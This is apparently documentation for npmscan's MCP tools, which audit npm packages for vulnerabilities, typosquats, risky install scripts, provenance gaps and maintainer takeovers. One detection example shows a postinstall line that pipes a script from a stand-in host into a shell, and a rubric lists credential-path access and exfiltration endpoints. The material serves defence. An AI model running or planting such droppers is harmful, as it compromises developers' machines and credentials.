MCP Tools Reference
Every tool npmscan's MCP server exposes to AI agents — 23 in total — with its input schema and real request/response examples, so an agent (or the person configuring it) knows exactly what each one catches before relying on it.
https://npmscan.com/api/mcp. ChatGPT users can also install npmscan as an app for one-click setup. Claude Code users can install the npmscan Claude Code plugin, which bundles these tools with two audit skills.30 requests / 60s per IP, separate from the REST /api limit. Going over returns a rate-limit error telling you how many seconds to wait.- Risk caughtthe call succeeds and surfaces the exact risk the tool exists to catch
- Confirmed cleanthe call succeeds and comes back clean — confirmed safe, not just silent
- Edge caseboundary conditions: validation errors, not-found, or an ambiguous result
Registry metadata enriched with the signals a name or a README will never tell you: download/dependent counts, popularity and maintenance tiers, typosquat detection, and a direct vulnerable/clean verdict.
Each result carries weeklyDownloads/monthlyDownloads, dependentsCount, topPackagesRank (position in npmscan's own top-100k-by-downloads snapshot), and deterministic (not model-generated) popularityTier/maintenanceTier labels. A result matching the query with a 'very-low' popularityTier, zero dependents, or a 'stale' maintenanceTier is very likely abandoned or copy-paste, not a real contender — regardless of how relevant its name looks. possibleTyposquatOf is set when an obscure result's name is one typo away from a top-5,000 package (e.g. "raect" vs "react"); surface that explicitly rather than silently dropping the result.
| Name | Type | Required | Description |
|---|---|---|---|
| query | string | required | Search text, e.g. a package name or keywords (2–64 characters). |
| limit | number | optional | Max results to return. Default 20, max 50. |
Real name, high download counts, no typosquat match. This is what a normal, trustworthy result looks like.
search_packages({ "query": "react-router", "limit": 3 }){
"query": "react-router",
"total": 41,
"results": [
{
"name": "react-router",
"version": "6.23.1",
"description": "Declarative routing for React",
"publisher": "mjackson",
"weeklyDownloads": 11482031,
"monthlyDownloads": 48920104,
"dependentsCount": 8213,
"topPackagesRank": 87,
"popularityTier": "very-high",
"maintenanceTier": "active",
"possibleTyposquatOf": null,
"npmscanUrl": "https://npmscan.com/package/react-router"
}
/* ...2 more results */
]
}A one-letter-off name ("raect" vs. "react") with near-zero adoption ranks near the top of a naive text search — possibleTyposquatOf is the signal that separates it from a real contender.
search_packages({ "query": "raect" }){
"query": "raect",
"total": 1,
"results": [
{
"name": "raect",
"version": "0.0.1",
"weeklyDownloads": 4,
"dependentsCount": 0,
"topPackagesRank": null,
"popularityTier": "very-low",
"maintenanceTier": "stale",
"possibleTyposquatOf": { "name": "react", "rank": 3 },
"npmscanUrl": "https://npmscan.com/package/raect"
}
]
}The 2-character minimum is enforced locally; a 1-character query never reaches npm.
search_packages({ "query": "a" }){ "error": "\"query\" must be at least 2 characters" }Fetches latest version, install scripts (preinstall/postinstall are a key risk signal), maintainers, license, recent version history, weekly downloads, GitHub stars, TypeScript support, days since last publish, topPackagesRank, and a downloadTrend (growing/stable/declining vs. ~3 months ago). Also checks the LATEST version against OSV.dev — isLatestVersionVulnerable/highestSeverity are a direct answer, and popularityTier/maintenanceTier plus a plain-language maintenanceSummary tell you whether a gap since the last release means "stable and finished" or "abandoned." Read `deprecated` before recommending anything — it is a maintainer-set signal, not an inference.
| Name | Type | Required | Description |
|---|---|---|---|
| name | string | required | Exact npm package name, e.g. "lodash" or "@scope/name". |
Verified live — a version number pinned in a doc example ages fast on a package this actively released; re-check before reusing this as a "known clean" reference.
get_package({ "name": "axios" }){
"name": "axios",
"latestVersion": "1.20.0",
"latestVersionInfo": {
"version": "1.20.0",
"scripts": { "prepare": "husky" },
"deprecated": null
},
"weeklyDownloads": 85399829,
"githubStars": 109212,
"hasBuiltInTypes": true,
"daysSinceLastPublish": 6,
"popularityTier": "very-high",
"maintenanceTier": "active",
"maintenanceSummary": "published within the last year; widely used",
"downloadTrend": { "direction": "declining", "changePercent": -30.6 },
"possibleTyposquatOf": null,
"isLatestVersionVulnerable": false,
"highestSeverity": null,
"vulnerabilities": []
}`deprecated` comes straight from the npm registry, set by the package's own maintainers — request has carried this warning since 2020, pointing users at maintained HTTP clients instead. Verified live: it also has a real MODERATE SSRF finding with `fixedVersion: null` — a deprecated package will never ship a fix, so "upgrade to the fixed version" isn't an option here the way it is for an actively-maintained one.
request's own deprecation announcement on GitHubget_package({ "name": "request" }){
"name": "request",
"latestVersion": "2.88.2",
"latestVersionInfo": {
"version": "2.88.2",
"deprecated": "request has been deprecated, see https://github.com/request/request/issues/3142"
},
"weeklyDownloads": 12798694,
"popularityTier": "very-high",
"maintenanceSummary": "Deprecated by the maintainer: \"request has been deprecated, see https://github.com/request/request/issues/3142\"",
"isLatestVersionVulnerable": true,
"highestSeverity": "MODERATE",
"vulnerabilities": [
{
"id": "GHSA-p8p7-x288-28g6",
"summary": "Server-Side Request Forgery in Request",
"severity": "MODERATE",
"aliases": ["CVE-2023-28155"],
"fixedVersion": null,
"npmscanUrl": "https://npmscan.com/vulnerability/GHSA-p8p7-x288-28g6"
}
]
}get_package({ "name": "this-package-does-not-exist-anywhere" }){ "error": "Package \"this-package-does-not-exist-anywhere\" not found" }Fetches registry metadata for one exact version (dependencies, install scripts, tarball) and checks that exact version against OSV.dev. isVulnerable/highestSeverity are a direct answer, and each finding includes severity, a summary, and the fixedVersion to upgrade to. Use this instead of get_package whenever you already have an exact version — e.g. from a lockfile — rather than caring about the latest release.
| Name | Type | Required | Description |
|---|---|---|---|
| name | string | required | Exact npm package name. |
| version | string | required | Exact version string, e.g. "4.17.21". |
minimist@1.2.5 carries CVE-2021-44906, a prototype-pollution bug fixed in 1.2.6 — a real, well-documented CVE pinned to an exact historical version, used as a regression guard in npmscan's own test suite.
GHSA-xvch-5gv4-984h — Prototype Pollution in minimistget_package_version({ "name": "minimist", "version": "1.2.5" }){
"name": "minimist",
"version": "1.2.5",
"isVulnerable": true,
"highestSeverity": "CRITICAL",
"vulnerabilities": [
{
"id": "GHSA-xvch-5gv4-984h",
"summary": "Prototype Pollution in minimist",
"severity": "CRITICAL",
"aliases": ["CVE-2021-44906"],
"fixedVersion": "1.2.6",
"npmscanUrl": "https://npmscan.com/vulnerability/GHSA-xvch-5gv4-984h"
}
]
}Same package, the very next release — confirms the tool isn't just flagging the package by name.
get_package_version({ "name": "minimist", "version": "1.2.6" }){
"name": "minimist",
"version": "1.2.6",
"isVulnerable": false,
"highestSeverity": null,
"vulnerabilities": []
}get_package_version({ "name": "minimist", "version": "999.0.0" }){ "error": "Version \"999.0.0\" of package \"minimist\" not found" }Given an npm username, returns every package npm's own maintainer:<username> search index currently returns for that account (registry.npmjs.org's /-/v1/search — the public registry API has no dedicated 'list packages by maintainer' endpoint otherwise), plus currentlyMaintainsCount (still listed right now vs. already-revoked), totalWeeklyDownloads and totalDependents summed across every returned package. This does NOT run the publish-cluster / compromised-account detection check_maintainer_blast_radius does — use that tool instead for a security read on whether recent activity looks like a takeover. Natural pairing with check_maintainer_changes: once that tool names a maintainer on a package, call this with that username to see the rest of what they touch.
| Name | Type | Required | Description |
|---|---|---|---|
| maintainerUsername | string | required | Exact npm username, e.g. "sindresorhus" — as shown at npmjs.com/~username. |
sindresorhus maintains over a thousand packages — a large count on its own is not a red flag (see check_maintainer_blast_radius for the actual cluster-detection signal); this call just answers "what does this account touch and how big is its reach."
get_maintainer_profile({ "maintainerUsername": "sindresorhus" }){
"maintainerUsername": "sindresorhus",
"npmscanUrl": "https://npmscan.com/profile/sindresorhus",
"npmProfileUrl": "https://www.npmjs.com/~sindresorhus",
"avatarUrl": "https://npmscan.com/api/avatar/d36a92237c75c5337c17b60d90686bf9",
"totalPackagesFound": 1066,
"packagesReturned": 250,
"resultsTruncated": true,
"currentlyMaintainsCount": 250,
"totalWeeklyDownloads": 17893700000,
"totalDependents": 620500,
"packages": [
{
"name": "chalk",
"version": "5.3.0",
"lastPublished": "2023-07-01T09:14:07.000Z",
"weeklyDownloads": 289421153,
"dependentsCount": 84213,
"isCurrentMaintainer": true,
"npmscanUrl": "https://npmscan.com/package/chalk"
}
/* ...249 more */
],
"note": null
}npm's search index has no dedicated reverse lookup by design — a typo'd or since-abandoned username comes back as zero results, not a distinct "user not found" error.
get_maintainer_profile({ "maintainerUsername": "not-a-real-npm-user-xyz" }){
"maintainerUsername": "not-a-real-npm-user-xyz",
"npmscanUrl": "https://npmscan.com/profile/not-a-real-npm-user-xyz",
"npmProfileUrl": "https://www.npmjs.com/~not-a-real-npm-user-xyz",
"avatarUrl": null,
"totalPackagesFound": 0,
"packagesReturned": 0,
"resultsTruncated": false,
"currentlyMaintainsCount": 0,
"totalWeeklyDownloads": 0,
"totalDependents": 0,
"packages": [],
"note": "No packages found where \"not-a-real-npm-user-xyz\" is currently listed as a maintainer in npm's search index — check the spelling, or this account may not maintain any currently-published packages"
}Direct OSV.dev, GitHub Advisory, and NIST NVD lookups — single package, a whole dependency inventory in one call, or an exact CVE — each with a plain isVulnerable/found verdict instead of a raw advisory dump.
Returns isVulnerable and highestSeverity as a direct answer, plus each finding's severity, summary, CVE aliases, and fixedVersion. Omitting `version` returns every vulnerability ever recorded for the package across all versions — including ones long since fixed — so always pass an exact version when the question is "is the version I have installed safe."
| Name | Type | Required | Description |
|---|---|---|---|
| name | string | required | npm package name. |
| version | string | optional | Optional exact version to narrow results, e.g. one pinned in a lockfile. |
| ecosystem | string | optional | OSV ecosystem. Default "npm". |
query_vulnerabilities({ "name": "minimist", "version": "1.2.5" }){
"package": "minimist",
"version": "1.2.5",
"isVulnerable": true,
"highestSeverity": "CRITICAL",
"vulnerabilities": [
{ "id": "GHSA-xvch-5gv4-984h", "severity": "CRITICAL", "aliases": ["CVE-2021-44906"], "fixedVersion": "1.2.6", "npmscanUrl": "https://npmscan.com/vulnerability/GHSA-xvch-5gv4-984h" }
]
}query_vulnerabilities({ "name": "minimist", "version": "1.2.6" }){
"package": "minimist",
"version": "1.2.6",
"isVulnerable": false,
"highestSeverity": null,
"vulnerabilities": []
}Omitting version here would wrongly read as "minimist is currently unsafe" if you don't also check which version you actually have.
query_vulnerabilities({ "name": "minimist" }){
"package": "minimist",
"version": null,
"isVulnerable": true,
"highestSeverity": "CRITICAL",
"vulnerabilities": [
{ "id": "GHSA-xvch-5gv4-984h", "aliases": ["CVE-2021-44906"], "fixedVersion": "1.2.6" },
{ "id": "GHSA-vh95-rmgr-6w4m", "aliases": ["CVE-2020-7598"], "fixedVersion": "1.2.3" }
]
}Chunk-queries OSV behind the scenes so a large SBOM doesn't stop at the upstream 100-package batch limit. Pass either `packages` (explicit list) or `content` (raw manifest/lockfile/SBOM text) — never both. Each finding includes severity, summary, CVE aliases, and fixed version, so a full-inventory audit answer doesn't need a follow-up call per flagged package. An npm alias is followed to its real target (`actualName`), never scanned by the declared key. A dependency pointing somewhere other than the registry (git/file/workspace/URL) is `scanStatus: "not-scanned"` with `signals: null` — never scanned by name alone, and never merged with an unrelated real package's popularity data just because the declared name happens to collide. Each scanned result also carries `signals` (deprecated, hasInstallScripts, popularity/maintenance tier, possibleTyposquatOf) and, for a lockfile-resolved entry, `source` (resolvedUrl/integrity plus `nonRegistryHost` and `identityMismatch` — a same-host artifact swap where the resolved tarball doesn't actually match the declared package/version, which a name+version match against OSV alone cannot see).
| Name | Type | Required | Description |
|---|---|---|---|
| packages | array | optional | Explicit {name, version?} list (1-1000 items). Use this OR content, not both. |
| content | string | optional | Raw package.json / package-lock.json / yarn.lock / pnpm-lock.yaml / CycloneDX JSON / SPDX JSON content. Use this OR packages, not both. |
| includeDevDependencies | boolean | optional | Only applies when content is a manifest/lockfile format that distinguishes dev dependencies. |
| includePeerDependencies | boolean | optional | Only applies when content is a package.json. peerDependencies are excluded from scanning by default (see ignoredPeerDependencyNames) since a peer is often intentionally left unresolved by the consumer. |
Verified live: minimist@1.2.5 is CRITICAL-vulnerable; react is a declared peerDependency, excluded by default and named in ignoredPeerDependencyNames rather than silently dropped.
batch_query_vulnerabilities({
"content": "{ \"dependencies\": { \"minimist\": \"1.2.5\" }, \"peerDependencies\": { \"react\": \"^18.0.0\" } }"
}){
"inputFormat": "package.json",
"parsedPackageCount": 1,
"warnings": ["1 peerDependency (react) was excluded from this scan — pass includePeerDependencies to also check them."],
"ignoredPeerDependencyNames": ["react"],
"results": [
{
"package": { "name": "minimist", "version": "1.2.5", "declaredSpec": "1.2.5" },
"scanStatus": "scanned",
"vulnerabilityCount": 1,
"vulnerabilities": [
{ "id": "GHSA-xvch-5gv4-984h", "severity": "CRITICAL", "aliases": ["CVE-2021-44906"], "fixedVersion": "1.2.6" }
],
"signals": { "deprecated": null, "hasInstallScripts": false, "popularityTier": "very-high", "maintenanceTier": "active", "possibleTyposquatOf": null },
"source": null
}
],
"totalVulnerabilities": 1,
"packagesWithVulnerabilities": 1
}A synthetic tampered lockfile: declares "lodash@4.18.1", but the resolved tarball URL actually points at the real registry’s OWN minimist-0.0.8.tgz — same trusted host, so nonRegistryHost:false, yet source.identityMismatch catches the swap by comparing against the registry’s own dist.tarball for that exact name@version. Verified live.
batch_query_vulnerabilities({
"content": "{ \"packages\": { \"node_modules/lodash\": { \"version\": \"4.18.1\", \"resolved\": \"https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz\" } } }"
}){
"inputFormat": "npm-lock",
"warnings": ["CRITICAL: 1 package (lodash) has a resolved tarball URL that does NOT match its declared name/version — see source.resolvedName/resolvedVersion vs. package.name/version on that result."],
"results": [
{
"package": { "name": "lodash", "version": "4.18.1" },
"scanStatus": "scanned",
"vulnerabilityCount": 0,
"signals": { "deprecated": null, "hasInstallScripts": false, "popularityTier": "very-high", "maintenanceTier": "active", "possibleTyposquatOf": null },
"source": {
"resolvedUrl": "https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz",
"nonRegistryHost": false,
"identityMismatch": true,
"resolvedName": "minimist",
"resolvedVersion": "0.0.8"
}
}
]
}Verified live.
batch_query_vulnerabilities({
"packages": [
{ "name": "is-number", "version": "7.0.0" },
{ "name": "kind-of", "version": "6.0.3" }
]
}){
"parsedPackageCount": 2,
"results": [
{ "package": { "name": "is-number", "version": "7.0.0" }, "scanStatus": "scanned", "vulnerabilityCount": 0, "vulnerabilities": [], "signals": { "deprecated": null, "hasInstallScripts": false, "popularityTier": "very-high", "maintenanceTier": "stale", "possibleTyposquatOf": null }, "source": null },
{ "package": { "name": "kind-of", "version": "6.0.3" }, "scanStatus": "scanned", "vulnerabilityCount": 0, "vulnerabilities": [], "signals": { "deprecated": null, "hasInstallScripts": false, "popularityTier": "very-high", "maintenanceTier": "stale", "possibleTyposquatOf": null }, "source": null }
],
"totalVulnerabilities": 0,
"packagesWithVulnerabilities": 0
}The two input modes are mutually exclusive; this fails before any OSV call is made.
batch_query_vulnerabilities({
"packages": [{ "name": "lodash" }],
"content": "{ \"dependencies\": { \"lodash\": \"4.17.21\" } }"
}){ "error": "Provide either packages or content, not both" }Three disjoint sources via `type`: "reviewed" (default, GitHub curated CVE-backed advisories), "malware" (GitHub's own known-malicious-package advisories), or "osv" (OSV.dev's OpenSSF malicious-packages feed, which covers far more malicious npm packages than GitHub ever republishes under a GHSA id). Filter by severity, vulnerability category (XSS, SQL/NoSQL Injection, SSRF, Access Control, Code Injection, and more — reviewed only), an affected package name, or (reviewed/malware only) look up one exact advisory by GHSA or CVE ID. Cursor-paginated — pass a previous response's nextCursor back in as cursor for the next page.
| Name | Type | Required | Description |
|---|---|---|---|
| type | string | optional | "reviewed" | "malware" | "osv" (default reviewed). |
| severity | string | optional | "critical" | "high" | "medium" | "low" | "all" (default all; not applicable to malware/osv). |
| category | string | optional | Vulnerability category id, e.g. "xss", "sql-injection", "ssrf", "access-control" (reviewed only). |
| affects | string | optional | Filter to advisories affecting this npm package name. |
| ghsaId | string | optional | Exact lookup by GHSA ID (reviewed/malware only). |
| cveId | string | optional | Exact lookup by CVE ID (reviewed/malware only). |
| direction | string | optional | "asc" | "desc" by published date (default desc). |
| cursor | string | optional | Opaque pagination cursor from a previous response's nextCursor. |
The npmscan test suite asserts this directly: every advisory returned for category="xss" must carry the XSS category label, not just be loosely related.
get_latest_advisories({ "category": "xss", "severity": "high" }){
"severity": "high",
"category": "xss",
"direction": "desc",
"nextCursor": "MjAyNS0..._eyJpZCI6MTIzfQ",
"advisories": [
{
"id": "GHSA-xxxx-xxxx-xxxx",
"cve": "CVE-2025-xxxxx",
"summary": "Cross-site scripting (XSS) in a Markdown-to-HTML renderer via unsanitized image alt text",
"severity": "high",
"categories": ["xss"],
"packages": [{ "name": "example-markdown-renderer", "affectedRange": "< 3.2.1", "patchedVersion": "3.2.1" }]
}
/* ...29 more, per_page is 30 */
]
}get_latest_advisories({ "ghsaId": "GHSA-xvch-5gv4-984h" }){
"advisories": [
{ "id": "GHSA-xvch-5gv4-984h", "cve": "CVE-2021-44906", "summary": "Prototype Pollution in minimist", "severity": "critical" }
]
}A neutral, non-error case — both directions succeed, this is a sort-order sanity check, not a risk signal.
get_latest_advisories({ "direction": "asc" }){ "direction": "asc", "advisories": [ /* oldest reviewed advisory first */ ] }kev is non-null only for a confirmed, actively-exploited-in-the-wild CVE — treat that as an urgent-patch signal regardless of CVSS score. epss is the probability of exploitation in the next 30 days, a better prioritization signal than severity alone. If NVD has no record yet, a single-CVE lookup falls back to the raw MITRE record automatically (source: "mitre"). NVD is NOT npm-scoped — pass keywordSearch to narrow a search to a specific package/product.
| Name | Type | Required | Description |
|---|---|---|---|
| cveId | string | optional | Exact CVE ID for a single lookup, e.g. "CVE-2021-44228". Omit search filters when this is given. |
| keywordSearch | string | optional | Free-text search, e.g. a package or product name. |
| severity | string | optional | "CRITICAL" | "HIGH" | "MEDIUM" | "LOW" — CVSS v3 base severity filter. |
| cweId | string | optional | Filter by weakness type, e.g. "CWE-79". |
| publishedSince / publishedUntil | string | optional | YYYY-MM-DD date range, must be given together, capped at 120 days. |
| resultsPerPage | number | optional | Max results for a search (default 10, max 50). |
| startIndex | number | optional | Pagination offset for a search. |
CVE-2021-44228 (Log4Shell) has been on the CISA KEV list since it was created — the report's own remediation-ranking tests use it as a regression guard because it is a permanent, unambiguous "patch now" fact.
CVE-2021-44228 on the NIST NVDget_cve({ "cveId": "CVE-2021-44228" }){
"id": "CVE-2021-44228",
"vulnStatus": "Analyzed",
"cvss": { "version": "3.1", "baseScore": 10, "baseSeverity": "CRITICAL", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" },
"cwes": ["Improper Neutralization of Special Elements used in an Expression Language Statement"],
"source": "nvd",
"kev": {
"dateAdded": "2021-12-10",
"dueDate": "2021-12-24",
"requiredAction": "Apply updates per vendor instructions."
},
"epss": { "score": 0.94421, "percentile": 0.99976, "date": "2026-08-30" }
}get_cve({ "cveId": "CVE-2099-99999" }){ "cveId": "CVE-2099-99999", "found": false, "npmscanUrl": "https://npmscan.com/vulnerability/CVE-2099-99999" }Also rejected: malformed CVE IDs, and a publishedSince given without publishedUntil (or vice versa).
get_cve({}){ "error": "Provide cveId for an exact lookup, or at least one of keywordSearch/severity/cweId/publishedSince+publishedUntil to search" }Signals no advisory database carries: what an install script actually does, whether a publish's provenance matches its claimed source, whether maintainer control quietly changed hands, and whether a risk buried three levels deep in the dependency graph is reachable at all.
Checks for child_process use, network calls, access to sensitive paths/env (.ssh, .aws, .npmrc, *TOKEN/*KEY), obfuscation, remote binaries off trusted CDNs, a remote script piped directly into a shell (curl/wget → sh/bash, PowerShell iwr → iex), writes to HOME, Discord/Telegram/Pastebin exfil endpoints, eval on decoded strings, chmod+exec of downloaded binaries, and CI-metadata telemetry — plus a typosquat name check. Returns a weighted totalScore and riskTier (none/low/moderate/high/critical). This is a heuristic static scan, not proof of malice: it doesn't execute any code and doesn't check maintainer/ownership history (that's check_maintainer_changes).
| Name | Type | Required | Description |
|---|---|---|---|
| name | string | required | Exact npm package name. |
| version | string | optional | Exact version to analyze; omit to use the latest published version. |
The rubric-only unit test trips 8 of the content rules in a single script: child_process, network I/O, .ssh access, a remote .exe download from an untrusted host, writes to HOME, a Discord webhook exfil endpoint, eval() over base64-decoded input, and chmod+exec of the downloaded binary. Same fixture npmscan’s own deterministic test suite uses.
analyze_install_script({ "name": "example-malicious-pkg" }){
"name": "example-malicious-pkg",
"hasLifecycleScripts": true,
"lifecycleScripts": { "postinstall": "node scripts/setup.js" },
"findings": [
{ "rule": "lifecycle-present", "points": 3, "note": "preinstall/install/postinstall/prepare detected in package.json or script files." },
{ "rule": "child-process", "points": 4, "note": "exec, spawn, execSync during install is a major warning sign." },
{ "rule": "network-io", "points": 4, "note": "Downloading data/binaries or beaconing during install increases risk." },
{ "rule": "sensitive-access", "points": 5, "note": "Likely credential theft or environment exfiltration." },
{ "rule": "remote-binary-host", "points": 4, "note": "Unknown hosts are common in malicious native add-ons." },
{ "rule": "writes-home", "points": 3, "note": "Modifies ~/.npmrc, ~/.ssh, or caches unexpectedly." },
{ "rule": "exfil-hosts", "points": 4, "note": "Common exfil endpoints for malware campaigns." },
{ "rule": "eval-obfuscated", "points": 3, "note": "Hides runtime behavior; often decodes payloads." },
{ "rule": "chmod-exec", "points": 5, "note": "Strong indicator of a payload dropper." }
],
"totalScore": 35,
"riskTier": "critical"
}No child_process call needed here: the postinstall COMMAND is the download-and-execute step. This is the classic real-world npm supply-chain dropper shape — the attacker can serve a different payload per request, so pinning a tarball hash never catches it.
analyze_install_script({ "name": "example-shell-dropper-pkg" }){
"name": "example-shell-dropper-pkg",
"hasLifecycleScripts": true,
"lifecycleScripts": { "postinstall": "curl -fsSL https://evil.example/payload.sh | sh" },
"findings": [
{ "rule": "lifecycle-present", "points": 3, "note": "preinstall/install/postinstall/prepare detected in package.json or script files." },
{ "rule": "remote-script-exec", "points": 15, "note": "Downloads and executes attacker-controlled code in one step; the attacker can serve a different payload per request, so pinning a tarball hash never catches it." }
],
"totalScore": 18,
"riskTier": "high"
}Real package, real call — lodash has no preinstall/install/postinstall/prepare entries at all, so there is nothing to scan.
analyze_install_script({ "name": "lodash" }){
"name": "lodash",
"version": "4.18.1",
"hasLifecycleScripts": false,
"lifecycleScripts": {},
"findings": [],
"totalScore": 0,
"riskTier": "none"
}cypress genuinely spawns a child process in postinstall to install its platform binary, verified live — nonzero doesn’t mean malicious; it means "read the findings," which is the whole point of this tool over a bare boolean.
Cypress's own docs on its postinstall binary downloadanalyze_install_script({ "name": "cypress" }){
"name": "cypress",
"version": "16.1.0",
"hasLifecycleScripts": true,
"lifecycleScripts": { "postinstall": "node dist/index.js --exec install" },
"findings": [
{ "rule": "lifecycle-present", "points": 3, "note": "preinstall/install/postinstall/prepare detected in package.json or script files." },
{ "rule": "child-process", "points": 4, "note": "exec, spawn, execSync during install is a major warning sign." }
],
"totalScore": 7,
"riskTier": "moderate"
}`vulnerablePaths` directly answers "which of my dependencies pulled this in" by naming the root package(s) responsible. Only the "dependencies" field is followed (not dev/peer/optional); each range is resolved independently per branch, which does NOT emulate real node_modules hoisting/dedup — read results as "which vulnerable versions are reachable in the graph," not the exact installed layout. git/file/workspace/URL/npm-alias dependencies show up with a resolutionError instead of being silently skipped.
| Name | Type | Required | Description |
|---|---|---|---|
| packages | array | required | 1-15 root packages to expand from, e.g. a package.json's "dependencies". version accepts an exact version or a semver range; omitted = latest. |
| maxDepth | number | optional | Levels of transitive expansion beyond the roots (0 = roots only). Default 2, capped at 3. |
minimist@1.2.5 pulled in transitively via a root that depends on it — invisible to a direct-dependency-only scan, caught here.
GHSA-xvch-5gv4-984h — Prototype Pollution in minimistanalyze_transitive_dependencies({
"packages": [{ "name": "optimist", "version": "0.6.1" }],
"maxDepth": 2
}){
"summary": "Scanned 3 packages across 2 root(s); 1 vulnerable package found, pulled in by optimist.",
"vulnerablePaths": [
{
"name": "minimist",
"version": "1.2.5",
"highestSeverity": "CRITICAL",
"vulnerabilityCount": 1,
"pulledInBy": ["optimist"]
}
],
"totalPackagesScanned": 3,
"vulnerablePackageCount": 1,
"truncated": false
}express and body-parser both depend on debug — it appears once in the resolved graph, not twice, and nothing in it is vulnerable.
analyze_transitive_dependencies({
"packages": [{ "name": "express" }, { "name": "body-parser" }]
}){
"summary": "Scanned 14 packages across 2 root(s); 0 vulnerable packages found.",
"vulnerablePaths": [],
"totalPackagesScanned": 14,
"vulnerablePackageCount": 0,
"truncated": false
}Not a crash — surfaced per-node as a resolutionError so the rest of the graph still scans.
analyze_transitive_dependencies({ "packages": [{ "name": "some-fork", "version": "git+https://github.com/user/some-fork.git" }] }){
"nodes": [
{ "name": "some-fork", "version": null, "resolutionError": "Non-registry specifier (git URL) cannot be resolved", "isVulnerable": false }
],
"unresolvedCount": 1
}Three checks: (1) the SLSA build attestation's declared source repo/commit/builder against package.json's own repository field; (2) when this version lacks provenance, whether peer packages in the same npm scope or by the same maintainer(s) mostly have it — a package that's the odd one out in an org that always publishes from CI is a real anomaly; (3) package.json at the attested commit/tag in the source repo, diffed against the published tarball's own install scripts and dependencies — a script or dependency on npm that was never committed is exactly the stolen-npm-token publish pattern. Structural only — this does not cryptographically re-verify the Sigstore bundle.
| Name | Type | Required | Description |
|---|---|---|---|
| name | string | required | Exact npm package name. |
| version | string | optional | Exact version to check; omit to use the latest published version. |
check_package_provenance({ "name": "semver", "version": "7.6.3" }){
"name": "semver",
"version": "7.6.3",
"provenance": {
"hasProvenance": true,
"sourceRepository": "https://github.com/npm/node-semver",
"declaredRepository": "https://github.com/npm/node-semver",
"repositoryMatchesBuild": true
},
"sourceDiff": { "checked": true, "addedInstallScripts": [], "addedDependencies": [] },
"findings": [],
"totalScore": 0,
"riskTier": "none"
}Verified live — this package lacks provenance while its @npmcli-scoped siblings consistently publish with it. Re-check these numbers before reusing them: peer provenance adoption within a scope shifts as more packages publish with --provenance over time.
@npmcli/arborist on npm — check its provenance badge yourselfcheck_package_provenance({ "name": "@npmcli/arborist" }){
"name": "@npmcli/arborist",
"provenance": { "hasProvenance": false },
"peers": {
"orgKind": "scope",
"orgIdentifier": "@npmcli",
"peersChecked": 8,
"peersWithProvenance": 8,
"peerProvenanceRate": 1
},
"findings": [
{ "rule": "no-provenance-org-norm", "points": 15, "note": "Most other packages published under the same npm scope or by the same maintainer(s) use --provenance; this version does not." }
],
"totalScore": 15,
"riskTier": "moderate"
}lodash lacks provenance, but so does essentially everything published before npm introduced the feature — no peer-norm violation, so this scores clean rather than being flagged for a feature that didn't exist yet.
GitHub: "Introducing npm package provenance"check_package_provenance({ "name": "lodash" }){
"name": "lodash",
"provenance": { "hasProvenance": false },
"peers": { "orgKind": "maintainer", "orgIdentifier": "jdalton", "peersChecked": 8, "peersWithProvenance": 0, "peerProvenanceRate": 0 },
"findings": [],
"totalScore": 0,
"riskTier": "none"
}Every published version carries the maintainers-list snapshot as it stood at that publish plus who actually ran `npm publish`, so diffing consecutive snapshots recovers exactly who was added or removed and when. Flags: a maintainer added recently who then published shortly after; a full sudden replacement of the maintainer list; a long-standing maintainer quietly dropped; or a maintainer-list change on npm not yet tied to any release — the more urgent case, since access changed hands but nothing has shipped with it yet. Also cross-checks whether the declared GitHub repository was transferred, archived, or went quiet.
| Name | Type | Required | Description |
|---|---|---|---|
| name | string | required | Exact npm package name. |
Illustrative response shape only, on a fictitious package — NOT the real Sept 2025 "qix" chalk/debug compromise: that incident compromised an EXISTING long-standing maintainer account (qix had co-maintained chalk since 2016) via phishing, not a newly-added one, so it never actually fit this particular rule's "recently added, then published" pattern in the first place. `check_maintainer_blast_radius` (below) demonstrates that real incident correctly, with the same jaredwray/keyv/cacheable-family cluster shape live-verifiable today. Calling `check_maintainer_changes({ "name": "chalk" })` today returns `findings: []` — chalk's real history shows qix ADDED in 2016 (a decade outside any lookback window) and REMOVED on 2025-09-08 (access revoked after the compromise was discovered, also now outside the 180-day window) — verify live before reusing.
check_maintainer_changes({ "name": "example-hijacked-pkg" }){
"name": "example-hijacked-pkg",
"history": {
"changes": [
{ "version": "2.4.1", "publishedAt": "2026-01-14T09:02:00.000Z", "added": ["new-account-99"], "removed": [] }
]
},
"findings": [
{ "rule": "new-maintainer-published-quickly", "points": 35, "note": "A maintainer added shortly before this publish, on a package with years of prior stable history" }
],
"totalScore": 35,
"riskTier": "high"
}event-stream's real 2018 maintainer-handoff incident happened once, over seven years ago; with no recent churn, the lookback window means it correctly scores clean today rather than being permanently tainted.
npm's official post-mortem of the event-stream incidentcheck_maintainer_changes({ "name": "event-stream" }){
"name": "event-stream",
"history": { "changes": [], "note": "No maintainer changes within the lookback window" },
"findings": [],
"totalScore": 0,
"riskTier": "none"
}jade was rebranded and its GitHub repo transferred from jadejs/jade to pugjs/pug — a legitimate, documented rename that this tool distinguishes from a hostile takeover. Verified live.
jade on npm — see the rename notice firsthandcheck_maintainer_changes({ "name": "jade" }){
"name": "jade",
"repository": {
"checked": true,
"declaredRepository": "git://github.com/jadejs/jade.git",
"currentFullName": "pugjs/pug",
"transferred": true,
"ownerLogin": "pugjs"
},
"findings": [
{ "rule": "repository-transferred", "points": 18, "note": "package.json's repository field points at a GitHub repo that has since been renamed or transferred to a different owner — GitHub itself now resolves that URL to a different full name." }
],
"riskTier": "moderate"
}npm's registry API has no dedicated 'list packages by maintainer' endpoint, so this uses the same maintainer:<username> qualifier npmjs.com's own site search supports. A large total package count is NOT itself a red flag — many legitimate maintainers publish hundreds of packages over a career — only a tight cluster (several packages' LATEST versions all published within a short window of each other) is scored, weighted up by how many packages it includes and by their combined weekly downloads/dependentsCount. A cluster where most packages share one npm scope (e.g. @docusaurus/*) is dampened — that's a project's own monorepo doing one coordinated release, not a compromised account spread across unrelated packages — and multiple distinct clusters on one account combine with diminishing returns rather than a plain sum, so an account with several independent, legitimate release clusters over its lifetime doesn't accumulate an unbounded score purely from being prolific. Each returned package's current maintainer list is cross-checked against the queried username, since access is often already revoked by the time this runs. Natural follow-up to check_maintainer_changes: once that tool flags a newly added or turned-over maintainer on one package, call this with that maintainer's username to see whether the same account touched other packages around the same time.
| Name | Type | Required | Description |
|---|---|---|---|
